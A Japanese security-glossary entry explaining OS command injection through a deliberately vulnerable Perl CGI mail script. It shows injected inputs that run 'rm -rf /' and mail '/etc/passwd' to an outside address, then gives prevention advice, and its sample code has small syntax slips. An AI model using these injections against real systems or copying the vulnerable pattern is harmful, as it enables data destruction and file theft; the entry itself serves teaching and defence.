OSコマンドインジェクション攻撃 |
辞書:通信用語の基礎知識 通信技術安全編 (CTSEC) |
読み:オウエス-コマンド-インジェクションこうげき |
外語:OS command injection attack |
品詞:名詞 |
インジェクション攻撃の一つ。
|
概要 |
パラメーターにOSコマンドを挿入し、プログラムに意図しないコマンドを実行させることを狙った攻撃。
root権限奪取の足がかりになる、極めて危険な攻撃である。
この攻撃を受けてしまうようなセキュリティホールは、絶対に発生させてはならない。
実際の例 |
サンプルソースコード(Perl) |
CGIプログラムで、メールアドレスの登録者に自動で返信する処理を想定する。
#!/usr/bin/perl use strict; use CGI; my $cgi = new CGI; my $mail = $cgi->param('mail') my $fp; open(fp, "|/usr/lib/sendmail $mail"); print fp "Subject: Registration of mail address\n"; print fp "From: regist@example.com\n\n"; print fp "登録ありがとうございます。\n"; close($fp);
この例では、Webのフォームなどから呼ばれ、利用者が入力したメールアドレスがCGIパラメーターmailの値となることとする。
もしメールアドレスに「nurupo@example.jp」と入力された場合、上のプログラムでは次のような文字列を作り、シェルに渡され実行される。
/usr/lib/sendmail nurupo@example.jp
恐らくこれが、本来想定された動作だろう。しかしもし、悪意ある利用者が「nurupo@example.jp; rm -rf /」と入力した場合、どうなるであろうか。この場合、次のコマンドが実行されてしまう。
/usr/lib/sendmail nurupo@example.jp; rm -rf /
「;」は複数のコマンドを区切る文字で、シェルはこの文字を境に、順次左から実行してゆく。つまり、メールを送った後、「rm -rf /」が実行される。
rm -rf /とは、そのコンピューター内の全ファイルを消せ、という命令である。これが実際に実行されてしまえば、そのコンピューターが再起不能になるであろうことは、想像に難くない。
また破壊攻撃でなくても、「nurupo@example.jp ; mail nurupo@example.jp < /etc/passwd」のようなことをされる可能性もある。この場合、そのサーバー内にあるファイルが外部に流出することになる。
攻撃の防止方法 |
Webアプリケーションの原則として、安易にOSコマンドを呼び出すようなプログラムを書いてはならない。
OSコマンドを呼ぶ必要性は現実には極めて限定的であろうし、もしその場合は深刻な脆弱性を生む可能性が高いため、処理を書くときには充分な注意が必要である。
また、入力データが汚染されている可能性があるため、サニタイジングを実施することも忘れてはならない。つまり、入力のチェックは、念入りに行なう必要がある、ということである。
リンク |
通信用語の基礎知識検索システム WDIC Explorer Ver 7.04a (27-May-2022) Search System : Copyright © Mirai corporation Dictionary : Copyright © WDIC Creators club |